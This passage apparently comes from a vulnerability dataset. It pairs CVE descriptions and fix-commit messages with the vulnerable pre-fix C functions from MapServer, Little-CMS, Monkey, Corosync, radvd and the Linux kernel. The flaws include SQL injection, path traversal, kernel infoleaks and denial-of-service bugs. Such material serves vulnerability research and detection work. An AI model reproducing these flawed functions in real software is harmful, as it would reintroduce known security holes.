The packet_recvmsg function in net/packet/af_packet.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7270

mapserver

3a10f6b829297dae63492a8c63385044bc6953ed

https://github.com/mapserver/mapserver

https://github.com/mapserver/mapserver/commit/3a10f6b829297dae63492a8c63385044bc6953ed

Fix potential SQL Injection with postgis TIME filters (#4834)

int msPostGISLayerSetTimeFilter(layerObj *lp, const char *timestring, const char *timefield) { char **atimes, **aranges = NULL; int numtimes=0,i=0,numranges=0; size_t buffer_size = 512; char buffer[512], bufferTmp[512]; buffer[0] = '\0'; bufferTmp[0] = '\0'; if (!lp || !timestring || !timefield) return MS_FALSE; /* discrete time */ if (strstr(timestring, ",") == NULL && strstr(timestring, "/") == NULL) { /* discrete time */ createPostgresTimeCompareSimple(timefield, timestring, buffer, buffer_size); } else { /* multiple times, or ranges */ atimes = msStringSplit (timestring, ',', &numtimes); if (atimes == NULL || numtimes < 1) return MS_FALSE; strlcat(buffer, "(", buffer_size); for(i=0; i<numtimes; i++) { if(i!=0) { strlcat(buffer, " OR ", buffer_size); } strlcat(buffer, "(", buffer_size); aranges = msStringSplit(atimes[i], '/', &numranges); if(!aranges) return MS_FALSE; if(numranges == 1) { /* we don't have range, just a simple time */ createPostgresTimeCompareSimple(timefield, atimes[i], bufferTmp, buffer_size); strlcat(buffer, bufferTmp, buffer_size); } else if(numranges == 2) { /* we have a range */ createPostgresTimeCompareRange(timefield, aranges[0], aranges[1], bufferTmp, buffer_size); strlcat(buffer, bufferTmp, buffer_size); } else { return MS_FALSE; } msFreeCharArray(aranges, numranges); strlcat(buffer, ")", buffer_size); } strlcat(buffer, ")", buffer_size); msFreeCharArray(atimes, numtimes); } if(!*buffer) { return MS_FALSE; } if(lp->filteritem) free(lp->filteritem); lp->filteritem = msStrdup(timefield); if (&lp->filter) { /* if the filter is set and it's a string type, concatenate it with the time. If not just free it */ if (lp->filter.type == MS_EXPRESSION) { snprintf(bufferTmp, buffer_size, "(%s) and %s", lp->filter.string, buffer); loadExpressionString(&lp->filter, bufferTmp); } else { freeExpression(&lp->filter); loadExpressionString(&lp->filter, buffer); } } return MS_TRUE; }

mappostgis.c

CVE-2013-7262

SQL injection vulnerability in the msPostGISLayerSetTimeFilter function in mappostgis.c in MapServer before 6.4.1, when a WMS-Time service is used, allows remote attackers to execute arbitrary SQL commands via a crafted string in a PostGIS TIME filter.

https://nvd.nist.gov/vuln/detail/CVE-2013-7262

Little-CMS

91c2db7f2559be504211b283bc3a2c631d6f06d9

https://github.com/mm2/Little-CMS

https://github.com/mm2/Little-CMS/commit/91c2db7f2559be504211b283bc3a2c631d6f06d9

Non happy-path fixes

Curves16Data* CurvesAlloc(cmsContext ContextID, int nCurves, int nElements, cmsToneCurve** G) { int i, j; Curves16Data* c16; c16 = _cmsMallocZero(ContextID, sizeof(Curves16Data)); if (c16 == NULL) return NULL; c16 ->nCurves = nCurves; c16 ->nElements = nElements; c16 ->Curves = _cmsCalloc(ContextID, nCurves, sizeof(cmsUInt16Number*)); if (c16 ->Curves == NULL) return NULL; for (i=0; i < nCurves; i++) { c16->Curves[i] = _cmsCalloc(ContextID, nElements, sizeof(cmsUInt16Number)); if (nElements == 256) { for (j=0; j < nElements; j++) { c16 ->Curves[i][j] = cmsEvalToneCurve16(G[i], FROM_8_TO_16(j)); } } else { for (j=0; j < nElements; j++) { c16 ->Curves[i][j] = cmsEvalToneCurve16(G[i], (cmsUInt16Number) j); } } } return c16; }

cmsopt.c

CVE-2013-4160

Little CMS (lcms2) before 2.5, as used in OpenJDK 7 and possibly other products, allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via vectors related to (1) cmsStageAllocLabV2ToV4curves, (2) cmsPipelineDup, (3) cmsAllocProfileSequenceDescription, (4) CurvesAlloc, and (5) cmsnamed.

https://nvd.nist.gov/vuln/detail/CVE-2013-4160

monkey

15f72c1ee5e0afad20232bdf0fcecab8d62a5d89

https://github.com/monkey/monkey

https://github.com/monkey/monkey/commit/15f72c1ee5e0afad20232bdf0fcecab8d62a5d89

Mandril: check decoded URI (fix #92) Signed-off-by: Eduardo Silva <eduardo@monkey.io>

int _mkp_stage_30(struct plugin *p, struct client_session *cs, struct session_request *sr) { mk_ptr_t referer; (void) p; (void) cs; PLUGIN_TRACE("[FD %i] Mandril validating URL", cs->socket); if (mk_security_check_url(sr->uri) < 0) { PLUGIN_TRACE("[FD %i] Close connection, blocked URL", cs->socket); mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN); return MK_PLUGIN_RET_CLOSE_CONX; } PLUGIN_TRACE("[FD %d] Mandril validating hotlinking", cs->socket); referer = mk_api->header_get(&sr->headers_toc, "Referer", strlen("Referer")); if (mk_security_check_hotlink(sr->uri_processed, sr->host, referer) < 0) { PLUGIN_TRACE("[FD %i] Close connection, deny hotlinking.", cs->socket); mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN); return MK_PLUGIN_RET_CLOSE_CONX; } return MK_PLUGIN_RET_NOT_ME; }

mandril.c

CVE-2013-2182

The Mandril security plugin in Monkey HTTP Daemon (monkeyd) before 1.5.0 allows remote attackers to bypass access restrictions via a crafted URI, as demonstrated by an encoded forward slash.

https://nvd.nist.gov/vuln/detail/CVE-2013-2182

corosync

b3f456a8ceefac6e9f2e9acc2ea0c159d412b595

https://github.com/corosync/corosync

https://github.com/corosync/corosync/commit/b3f456a8ceefac6e9f2e9acc2ea0c159d412b595

totemcrypto: fix hmac key initialization Signed-off-by: Fabio M. Di Nitto <fdinitto@redhat.com> Reviewed-by: Jan Friesse <jfriesse@redhat.com>

static int init_nss_hash(struct crypto_instance *instance) { PK11SlotInfo* hash_slot = NULL; SECItem hash_param; if (!hash_to_nss[instance->crypto_hash_type]) { return 0; } hash_param.type = siBuffer; hash_param.data = 0; hash_param.len = 0; hash_slot = PK11_GetBestSlot(hash_to_nss[instance->crypto_hash_type], NULL); if (hash_slot == NULL) { log_printf(instance->log_level_security, "Unable to find security slot (err %d)", PR_GetError()); return -1; } instance->nss_sym_key_sign = PK11_ImportSymKey(hash_slot, hash_to_nss[instance->crypto_hash_type], PK11_OriginUnwrap, CKA_SIGN, &hash_param, NULL); if (instance->nss_sym_key_sign == NULL) { log_printf(instance->log_level_security, "Failure to import key into NSS (err %d)", PR_GetError()); return -1; } PK11_FreeSlot(hash_slot); return 0; }

totemcrypto.c

CVE-2013-0250

The init_nss_hash function in exec/totemcrypto.c in Corosync 2.0 before 2.3 does not properly initialize the HMAC key, which allows remote attackers to cause a denial of service (crash) via a crafted packet.

https://nvd.nist.gov/vuln/detail/CVE-2013-0250

linux

3e10986d1d698140747fcfc2761ec9cb64c1d582

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/3e10986d1d698140747fcfc2761ec9cb64c1d582

net: guard tcp_set_keepalive() to tcp sockets Its possible to use RAW sockets to get a crash in tcp_set_keepalive() / sk_reset_timer() Fix is to make sure socket is a SOCK_STREAM one. Reported-by: Dave Jones <davej@redhat.com> Signed-off-by: Eric Dumazet <edumazet@google.com> Signed-off-by: David S. Miller <davem@davemloft.net>

int sock_setsockopt(struct socket *sock, int level, int optname, char __user *optval, unsigned int optlen) { struct sock *sk = sock->sk; int val; int valbool; struct linger ling; int ret = 0; /* * Options without arguments */ if (optname == SO_BINDTODEVICE) return sock_bindtodevice(sk, optval, optlen); if (optlen < sizeof(int)) return -EINVAL; if (get_user(val, (int __user *)optval)) return -EFAULT; valbool = val ? 1 : 0; lock_sock(sk); switch (optname) { case SO_DEBUG: if (val && !capable(CAP_NET_ADMIN)) ret = -EACCES; else sock_valbool_flag(sk, SOCK_DBG, valbool); break; case SO_REUSEADDR: sk->sk_reuse = (valbool ? SK_CAN_REUSE : SK_NO_REUSE); break; case SO_TYPE: case SO_PROTOCOL: case SO_DOMAIN: case SO_ERROR: ret = -ENOPROTOOPT; break; case SO_DONTROUTE: sock_valbool_flag(sk, SOCK_LOCALROUTE, valbool); break; case SO_BROADCAST: sock_valbool_flag(sk, SOCK_BROADCAST, valbool); break; case SO_SNDBUF: /* Don't error on this BSD doesn't and if you think * about it this is right. Otherwise apps have to * play 'guess the biggest size' games. RCVBUF/SNDBUF * are treated in BSD as hints */ val = min_t(u32, val, sysctl_wmem_max); set_sndbuf: sk->sk_userlocks |= SOCK_SNDBUF_LOCK; sk->sk_sndbuf = max_t(u32, val * 2, SOCK_MIN_SNDBUF); /* Wake up sending tasks if we upped the value. */ sk->sk_write_space(sk); break; case SO_SNDBUFFORCE: if (!capable(CAP_NET_ADMIN)) { ret = -EPERM; break; } goto set_sndbuf; case SO_RCVBUF: /* Don't error on this BSD doesn't and if you think * about it this is right. Otherwise apps have to * play 'guess the biggest size' games. RCVBUF/SNDBUF * are treated in BSD as hints */ val = min_t(u32, val, sysctl_rmem_max); set_rcvbuf: sk->sk_userlocks |= SOCK_RCVBUF_LOCK; /* * We double it on the way in to account for * "struct sk_buff" etc. overhead. Applications * assume that the SO_RCVBUF setting they make will * allow that much actual data to be received on that * socket. * * Applications are unaware that "struct sk_buff" and * other overheads allocate from the receive buffer * during socket buffer allocation. * * And after considering the possible alternatives, * returning the value we actually used in getsockopt * is the most desirable behavior. */ sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF); break; case SO_RCVBUFFORCE: if (!capable(CAP_NET_ADMIN)) { ret = -EPERM; break; } goto set_rcvbuf; case SO_KEEPALIVE: #ifdef CONFIG_INET if (sk->sk_protocol == IPPROTO_TCP) tcp_set_keepalive(sk, valbool); #endif sock_valbool_flag(sk, SOCK_KEEPOPEN, valbool); break; case SO_OOBINLINE: sock_valbool_flag(sk, SOCK_URGINLINE, valbool); break; case SO_NO_CHECK: sk->sk_no_check = valbool; break; case SO_PRIORITY: if ((val >= 0 && val <= 6) || capable(CAP_NET_ADMIN)) sk->sk_priority = val; else ret = -EPERM; break; case SO_LINGER: if (optlen < sizeof(ling)) { ret = -EINVAL; /* 1003.1g */ break; } if (copy_from_user(&ling, optval, sizeof(ling))) { ret = -EFAULT; break; } if (!ling.l_onoff) sock_reset_flag(sk, SOCK_LINGER); else { #if (BITS_PER_LONG == 32) if ((unsigned int)ling.l_linger >= MAX_SCHEDULE_TIMEOUT/HZ) sk->sk_lingertime = MAX_SCHEDULE_TIMEOUT; else #endif sk->sk_lingertime = (unsigned int)ling.l_linger * HZ; sock_set_flag(sk, SOCK_LINGER); } break; case SO_BSDCOMPAT: sock_warn_obsolete_bsdism("setsockopt"); break; case SO_PASSCRED: if (valbool) set_bit(SOCK_PASSCRED, &sock->flags); else clear_bit(SOCK_PASSCRED, &sock->flags); break; case SO_TIMESTAMP: case SO_TIMESTAMPNS: if (valbool) { if (optname == SO_TIMESTAMP) sock_reset_flag(sk, SOCK_RCVTSTAMPNS); else sock_set_flag(sk, SOCK_RCVTSTAMPNS); sock_set_flag(sk, SOCK_RCVTSTAMP); sock_enable_timestamp(sk, SOCK_TIMESTAMP); } else { sock_reset_flag(sk, SOCK_RCVTSTAMP); sock_reset_flag(sk, SOCK_RCVTSTAMPNS); } break; case SO_TIMESTAMPING: if (val & ~SOF_TIMESTAMPING_MASK) { ret = -EINVAL; break; } sock_valbool_flag(sk, SOCK_TIMESTAMPING_TX_HARDWARE, val & SOF_TIMESTAMPING_TX_HARDWARE); sock_valbool_flag(sk, SOCK_TIMESTAMPING_TX_SOFTWARE, val & SOF_TIMESTAMPING_TX_SOFTWARE); sock_valbool_flag(sk, SOCK_TIMESTAMPING_RX_HARDWARE, val & SOF_TIMESTAMPING_RX_HARDWARE); if (val & SOF_TIMESTAMPING_RX_SOFTWARE) sock_enable_timestamp(sk, SOCK_TIMESTAMPING_RX_SOFTWARE); else sock_disable_timestamp(sk, (1UL << SOCK_TIMESTAMPING_RX_SOFTWARE)); sock_valbool_flag(sk, SOCK_TIMESTAMPING_SOFTWARE, val & SOF_TIMESTAMPING_SOFTWARE); sock_valbool_flag(sk, SOCK_TIMESTAMPING_SYS_HARDWARE, val & SOF_TIMESTAMPING_SYS_HARDWARE); sock_valbool_flag(sk, SOCK_TIMESTAMPING_RAW_HARDWARE, val & SOF_TIMESTAMPING_RAW_HARDWARE); break; case SO_RCVLOWAT: if (val < 0) val = INT_MAX; sk->sk_rcvlowat = val ? : 1; break; case SO_RCVTIMEO: ret = sock_set_timeout(&sk->sk_rcvtimeo, optval, optlen); break; case SO_SNDTIMEO: ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen); break; case SO_ATTACH_FILTER: ret = -EINVAL; if (optlen == sizeof(struct sock_fprog)) { struct sock_fprog fprog; ret = -EFAULT; if (copy_from_user(&fprog, optval, sizeof(fprog))) break; ret = sk_attach_filter(&fprog, sk); } break; case SO_DETACH_FILTER: ret = sk_detach_filter(sk); break; case SO_PASSSEC: if (valbool) set_bit(SOCK_PASSSEC, &sock->flags); else clear_bit(SOCK_PASSSEC, &sock->flags); break; case SO_MARK: if (!capable(CAP_NET_ADMIN)) ret = -EPERM; else sk->sk_mark = val; break; /* We implement the SO_SNDLOWAT etc to not be settable (1003.1g 5.3) */ case SO_RXQ_OVFL: sock_valbool_flag(sk, SOCK_RXQ_OVFL, valbool); break; case SO_WIFI_STATUS: sock_valbool_flag(sk, SOCK_WIFI_STATUS, valbool); break; case SO_PEEK_OFF: if (sock->ops->set_peek_off) sock->ops->set_peek_off(sk, val); else ret = -EOPNOTSUPP; break; case SO_NOFCS: sock_valbool_flag(sk, SOCK_NOFCS, valbool); break; default: ret = -ENOPROTOOPT; break; } release_sock(sk); return ret; }

sock.c

CVE-2012-6657

The sock_setsockopt function in net/core/sock.c in the Linux kernel before 3.5.7 does not ensure that a keepalive action is associated with a stream socket, which allows local users to cause a denial of service (system crash) by leveraging the ability to create a raw socket.

https://nvd.nist.gov/vuln/detail/CVE-2012-6657

linux

6f7b0a2a5c0fb03be7c25bd1745baa50582348ef

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/6f7b0a2a5c0fb03be7c25bd1745baa50582348ef

futex: Forbid uaddr == uaddr2 in futex_wait_requeue_pi() If uaddr == uaddr2, then we have broken the rule of only requeueing from a non-pi futex to a pi futex with this call. If we attempt this, as the trinity test suite manages to do, we miss early wakeups as q.key is equal to key2 (because they are the same uaddr). We will then attempt to dereference the pi_mutex (which would exist had the futex_q been properly requeued to a pi futex) and trigger a NULL pointer dereference. Signed-off-by: Darren Hart <dvhart@linux.intel.com> Cc: Dave Jones <davej@redhat.com> Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/ad82bfe7f7d130247fbe2b5b4275654807774227.1342809673.git.dvhart@linux.intel.com Signed-off-by: Thomas Gleixner <tglx@linutronix.de>

static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags, u32 val, ktime_t *abs_time, u32 bitset, u32 __user *uaddr2) { struct hrtimer_sleeper timeout, *to = NULL; struct rt_mutex_waiter rt_waiter; struct rt_mutex *pi_mutex = NULL; struct futex_hash_bucket *hb; union futex_key key2 = FUTEX_KEY_INIT; struct futex_q q = futex_q_init; int res, ret; if (!bitset) return -EINVAL; if (abs_time) { to = &timeout; hrtimer_init_on_stack(&to->timer, (flags & FLAGS_CLOCKRT) ? CLOCK_REALTIME : CLOCK_MONOTONIC, HRTIMER_MODE_ABS); hrtimer_init_sleeper(to, current); hrtimer_set_expires_range_ns(&to->timer, *abs_time, current->timer_slack_ns); } /* * The waiter is allocated on our stack, manipulated by the requeue * code while we sleep on uaddr. */ debug_rt_mutex_init_waiter(&rt_waiter); rt_waiter.task = NULL; ret = get_futex_key(uaddr2, flags & FLAGS_SHARED, &key2, VERIFY_WRITE); if (unlikely(ret != 0)) goto out; q.bitset = bitset; q.rt_waiter = &rt_waiter; q.requeue_pi_key = &key2; /* * Prepare to wait on uaddr. On success, increments q.key (key1) ref * count. */ ret = futex_wait_setup(uaddr, val, flags, &q, &hb); if (ret) goto out_key2; /* Queue the futex_q, drop the hb lock, wait for wakeup. */ futex_wait_queue_me(hb, &q, to); spin_lock(&hb->lock); ret = handle_early_requeue_pi_wakeup(hb, &q, &key2, to); spin_unlock(&hb->lock); if (ret) goto out_put_keys; /* * In order for us to be here, we know our q.key == key2, and since * we took the hb->lock above, we also know that futex_requeue() has * completed and we no longer have to concern ourselves with a wakeup * race with the atomic proxy lock acquisition by the requeue code. The * futex_requeue dropped our key1 reference and incremented our key2 * reference count. */ /* Check if the requeue code acquired the second futex for us. */ if (!q.rt_waiter) { /* * Got the lock. We might not be the anticipated owner if we * did a lock-steal - fix up the PI-state in that case. */ if (q.pi_state && (q.pi_state->owner != current)) { spin_lock(q.lock_ptr); ret = fixup_pi_state_owner(uaddr2, &q, current); spin_unlock(q.lock_ptr); } } else { /* * We have been woken up by futex_unlock_pi(), a timeout, or a * signal. futex_unlock_pi() will not destroy the lock_ptr nor * the pi_state. */ WARN_ON(!q.pi_state); pi_mutex = &q.pi_state->pi_mutex; ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1); debug_rt_mutex_free_waiter(&rt_waiter); spin_lock(q.lock_ptr); /* * Fixup the pi_state owner and possibly acquire the lock if we * haven't already. */ res = fixup_owner(uaddr2, &q, !ret); /* * If fixup_owner() returned an error, proprogate that. If it * acquired the lock, clear -ETIMEDOUT or -EINTR. */ if (res) ret = (res < 0) ? res : 0; /* Unqueue and drop the lock. */ unqueue_me_pi(&q); } /* * If fixup_pi_state_owner() faulted and was unable to handle the * fault, unlock the rt_mutex and return the fault to userspace. */ if (ret == -EFAULT) { if (pi_mutex && rt_mutex_owner(pi_mutex) == current) rt_mutex_unlock(pi_mutex); } else if (ret == -EINTR) { /* * We've already been requeued, but cannot restart by calling * futex_lock_pi() directly. We could restart this syscall, but * it would detect that the user space "val" changed and return * -EWOULDBLOCK. Save the overhead of the restart and return * -EWOULDBLOCK directly. */ ret = -EWOULDBLOCK; } out_put_keys: put_futex_key(&q.key); out_key2: put_futex_key(&key2); out: if (to) { hrtimer_cancel(&to->timer); destroy_hrtimer_on_stack(&to->timer); } return ret; }

futex.c

CVE-2012-6647

The futex_wait_requeue_pi function in kernel/futex.c in the Linux kernel before 3.5.1 does not ensure that calls have two different futex addresses, which allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a crafted FUTEX_WAIT_REQUEUE_PI command.

https://nvd.nist.gov/vuln/detail/CVE-2012-6647

linux

fdf5af0daf8019cec2396cdef8fb042d80fe71fa

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/fdf5af0daf8019cec2396cdef8fb042d80fe71fa

tcp: drop SYN+FIN messages Denys Fedoryshchenko reported that SYN+FIN attacks were bringing his linux machines to their limits. Dont call conn_request() if the TCP flags includes SYN flag Reported-by: Denys Fedoryshchenko <denys@visp.net.lb> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

int tcp_rcv_state_process(struct sock *sk, struct sk_buff *skb, const struct tcphdr *th, unsigned int len) { struct tcp_sock *tp = tcp_sk(sk); struct inet_connection_sock *icsk = inet_csk(sk); int queued = 0; int res; tp->rx_opt.saw_tstamp = 0; switch (sk->sk_state) { case TCP_CLOSE: goto discard; case TCP_LISTEN: if (th->ack) return 1; if (th->rst) goto discard; if (th->syn) { if (icsk->icsk_af_ops->conn_request(sk, skb) < 0) return 1; /* Now we have several options: In theory there is * nothing else in the frame. KA9Q has an option to * send data with the syn, BSD accepts data with the * syn up to the [to be] advertised window and * Solaris 2.1 gives you a protocol error. For now * we just ignore it, that fits the spec precisely * and avoids incompatibilities. It would be nice in * future to drop through and process the data. * * Now that TTCP is starting to be used we ought to * queue this data. * But, this leaves one open to an easy denial of * service attack, and SYN cookies can't defend * against this problem. So, we drop the data * in the interest of security over speed unless * it's still in use. */ kfree_skb(skb); return 0; } goto discard; case TCP_SYN_SENT: queued = tcp_rcv_synsent_state_process(sk, skb, th, len); if (queued >= 0) return queued; /* Do step6 onward by hand. */ tcp_urg(sk, skb, th); __kfree_skb(skb); tcp_data_snd_check(sk); return 0; } res = tcp_validate_incoming(sk, skb, th, 0); if (res <= 0) return -res; /* step 5: check the ACK field */ if (th->ack) { int acceptable = tcp_ack(sk, skb, FLAG_SLOWPATH) > 0; switch (sk->sk_state) { case TCP_SYN_RECV: if (acceptable) { tp->copied_seq = tp->rcv_nxt; smp_mb(); tcp_set_state(sk, TCP_ESTABLISHED); sk->sk_state_change(sk); /* Note, that this wakeup is only for marginal * crossed SYN case. Passively open sockets * are not waked up, because sk->sk_sleep == * NULL and sk->sk_socket == NULL. */ if (sk->sk_socket) sk_wake_async(sk, SOCK_WAKE_IO, POLL_OUT); tp->snd_una = TCP_SKB_CB(skb)->ack_seq; tp->snd_wnd = ntohs(th->window) << tp->rx_opt.snd_wscale; tcp_init_wl(tp, TCP_SKB_CB(skb)->seq); if (tp->rx_opt.tstamp_ok) tp->advmss -= TCPOLEN_TSTAMP_ALIGNED; /* Make sure socket is routed, for * correct metrics. */ icsk->icsk_af_ops->rebuild_header(sk); tcp_init_metrics(sk); tcp_init_congestion_control(sk); /* Prevent spurious tcp_cwnd_restart() on * first data packet. */ tp->lsndtime = tcp_time_stamp; tcp_mtup_init(sk); tcp_initialize_rcv_mss(sk); tcp_init_buffer_space(sk); tcp_fast_path_on(tp); } else { return 1; } break; case TCP_FIN_WAIT1: if (tp->snd_una == tp->write_seq) { tcp_set_state(sk, TCP_FIN_WAIT2); sk->sk_shutdown |= SEND_SHUTDOWN; dst_confirm(__sk_dst_get(sk)); if (!sock_flag(sk, SOCK_DEAD)) /* Wake up lingering close() */ sk->sk_state_change(sk); else { int tmo; if (tp->linger2 < 0 || (TCP_SKB_CB(skb)->end_seq != TCP_SKB_CB(skb)->seq && after(TCP_SKB_CB(skb)->end_seq - th->fin, tp->rcv_nxt))) { tcp_done(sk); NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_TCPABORTONDATA); return 1; } tmo = tcp_fin_time(sk); if (tmo > TCP_TIMEWAIT_LEN) { inet_csk_reset_keepalive_timer(sk, tmo - TCP_TIMEWAIT_LEN); } else if (th->fin || sock_owned_by_user(sk)) { /* Bad case. We could lose such FIN otherwise. * It is not a big problem, but it looks confusing * and not so rare event. We still can lose it now, * if it spins in bh_lock_sock(), but it is really * marginal case. */ inet_csk_reset_keepalive_timer(sk, tmo); } else { tcp_time_wait(sk, TCP_FIN_WAIT2, tmo); goto discard; } } } break; case TCP_CLOSING: if (tp->snd_una == tp->write_seq) { tcp_time_wait(sk, TCP_TIME_WAIT, 0); goto discard; } break; case TCP_LAST_ACK: if (tp->snd_una == tp->write_seq) { tcp_update_metrics(sk); tcp_done(sk); goto discard; } break; } } else goto discard; /* step 6: check the URG bit */ tcp_urg(sk, skb, th); /* step 7: process the segment text */ switch (sk->sk_state) { case TCP_CLOSE_WAIT: case TCP_CLOSING: case TCP_LAST_ACK: if (!before(TCP_SKB_CB(skb)->seq, tp->rcv_nxt)) break; case TCP_FIN_WAIT1: case TCP_FIN_WAIT2: /* RFC 793 says to queue data in these states, * RFC 1122 says we MUST send a reset. * BSD 4.4 also does reset. */ if (sk->sk_shutdown & RCV_SHUTDOWN) { if (TCP_SKB_CB(skb)->end_seq != TCP_SKB_CB(skb)->seq && after(TCP_SKB_CB(skb)->end_seq - th->fin, tp->rcv_nxt)) { NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_TCPABORTONDATA); tcp_reset(sk); return 1; } } /* Fall through */ case TCP_ESTABLISHED: tcp_data_queue(sk, skb); queued = 1; break; } /* tcp_data could move socket to TIME-WAIT */ if (sk->sk_state != TCP_CLOSE) { tcp_data_snd_check(sk); tcp_ack_snd_check(sk); } if (!queued) { discard: __kfree_skb(skb); } return 0; }

tcp_input.c

CVE-2012-6638

The tcp_rcv_state_process function in net/ipv4/tcp_input.c in the Linux kernel before 3.2.24 allows remote attackers to cause a denial of service (kernel resource consumption) via a flood of SYN+FIN TCP packets, a different vulnerability than CVE-2012-2663.

https://nvd.nist.gov/vuln/detail/CVE-2012-6638

radvd

92e22ca23e52066da2258df8c76a2dca8a428bcc

https://github.com/reubenhwk/radvd

https://github.com/reubenhwk/radvd/commit/92e22ca23e52066da2258df8c76a2dca8a428bcc

set_interface_var() doesn't check interface name and blindly does fopen(path "/" ifname, "w") on it. As "ifname" is an untrusted input, it should be checked for ".." and/or "/" in it. Otherwise, an infected unprivileged daemon may overwrite contents of file named "mtu", "hoplimit", etc. in arbitrary location with arbitrary 32-bit value in decimal representation ("%d"). If an attacker has a local account or may create arbitrary symlinks with these names in any location (e.g. /tmp), any file may be overwritten with a decimal value.

set_interface_var(const char *iface, const char *var, const char *name, uint32_t val) { FILE *fp; char spath[64+IFNAMSIZ]; /* XXX: magic constant */ if (snprintf(spath, sizeof(spath), var, iface) >= sizeof(spath)) return -1; if (access(spath, F_OK) != 0) return -1; fp = fopen(spath, "w"); if (!fp) { if (name) flog(LOG_ERR, "failed to set %s (%u) for %s: %s", name, val, iface, strerror(errno)); return -1; } fprintf(fp, "%u", val); fclose(fp); return 0; }

device-linux.c

CVE-2011-3602

Directory traversal vulnerability in device-linux.c in the router advertisement daemon (radvd) before 1.8.2 allows local users to overwrite arbitrary files, and remote attackers to overwrite certain files, via a .. (dot dot) in an interface name. NOTE: this can be leveraged with a symlink to overwrite arbitrary files.

https://nvd.nist.gov/vuln/detail/CVE-2011-3602

linux

819cbb120eaec7e014e5abd029260db1ca8c5735

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/819cbb120eaec7e014e5abd029260db1ca8c5735

staging: comedi: fix infoleak to userspace driver_name and board_name are pointers to strings, not buffers of size COMEDI_NAMELEN. Copying COMEDI_NAMELEN bytes of a string containing less than COMEDI_NAMELEN-1 bytes would leak some unrelated bytes. Signed-off-by: Vasiliy Kulikov <segoon@openwall.com> Cc: stable <stable@kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

static int do_devinfo_ioctl(struct comedi_device *dev, struct comedi_devinfo __user *arg, struct file *file) { struct comedi_devinfo devinfo; const unsigned minor = iminor(file->f_dentry->d_inode); struct comedi_device_file_info *dev_file_info = comedi_get_device_file_info(minor); struct comedi_subdevice *read_subdev = comedi_get_read_subdevice(dev_file_info); struct comedi_subdevice *write_subdev = comedi_get_write_subdevice(dev_file_info); memset(&devinfo, 0, sizeof(devinfo)); /* fill devinfo structure */ devinfo.version_code = COMEDI_VERSION_CODE; devinfo.n_subdevs = dev->n_subdevices; memcpy(devinfo.driver_name, dev->driver->driver_name, COMEDI_NAMELEN); memcpy(devinfo.board_name, dev->board_name, COMEDI_NAMELEN); if (read_subdev) devinfo.read_subdevice = read_subdev - dev->subdevices; else devinfo.read_subdevice = -1; if (write_subdev) devinfo.write_subdevice = write_subdev - dev->subdevices; else devinfo.write_subdevice = -1; if (copy_to_user(arg, &devinfo, sizeof(struct comedi_devinfo))) return -EFAULT; return 0; }

comedi_fops.c

CVE-2011-2909

The do_devinfo_ioctl function in drivers/staging/comedi/comedi_fops.c in the Linux kernel before 3.1 allows local users to obtain sensitive information from kernel memory via a copy of a short string.

https://nvd.nist.gov/vuln/detail/CVE-2011-2909

linux

fc3a9157d3148ab91039c75423da8ef97be3e105

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/fc3a9157d3148ab91039c75423da8ef97be3e105

KVM: X86: Don't report L2 emulation failures to user-space This patch prevents that emulation failures which result from emulating an instruction for an L2-Guest results in being reported to userspace. Without this patch a malicious L2-Guest would be able to kill the L1 by triggering a race-condition between an vmexit and the instruction emulator. With this patch the L2 will most likely only kill itself in this situation. Signed-off-by: Joerg Roedel <joerg.roedel@amd.com> Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>

static int handle_emulation_failure(struct kvm_vcpu *vcpu) { ++vcpu->stat.insn_emulation_fail; trace_kvm_emulate_insn_failed(vcpu); vcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR; vcpu->run->internal.suberror = KVM_INTERNAL_ERROR_EMULATION; vcpu->run->internal.ndata = 0; kvm_queue_exception(vcpu, UD_VECTOR); return EMULATE_FAIL; }

x86.c

CVE-2010-5313

Race condition in arch/x86/kvm/x86.c in the Linux kernel before 2.6.38 allows L2 guest OS users to cause a denial of service (L1 guest OS crash) via a crafted instruction that triggers an L2 emulation failure report, a similar issue to CVE-2014-7842.

https://nvd.nist.gov/vuln/detail/CVE-2010-5313

linux

acff81ec2c79492b180fade3c2894425cd35a545

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/acff81ec2c79492b180fade3c2894425cd35a545

ovl: fix permission checking for setattr [Al Viro] The bug is in being too enthusiastic about optimizing ->setattr() away - instead of "copy verbatim with metadata" + "chmod/chown/utimes" (with the former being always safe and the latter failing in case of insufficient permissions) it tries to combine these two. Note that copyup itself will have to do ->setattr() anyway; _that_ is where the elevated capabilities are right. Having these two ->setattr() (one to set verbatim copy of metadata, another to do what overlayfs ->setattr() had been asked to do in the first place) combined is where it breaks. Signed-off-by: Miklos Szeredi <miklos@szeredi.hu> Cc: <stable@vger.kernel.org> Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

int ovl_setattr(struct dentry *dentry, struct iattr *attr) { int err; struct dentry *upperdentry; err = ovl_want_write(dentry); if (err) goto out; upperdentry = ovl_dentry_upper(dentry); if (upperdentry) { mutex_lock(&upperdentry->d_inode->i_mutex); err = notify_change(upperdentry, attr, NULL); mutex_unlock(&upperdentry->d_inode->i_mutex); } else { err = ovl_copy_up_last(dentry, attr, false); } ovl_drop_write(dentry); out: return err; }

inode.c

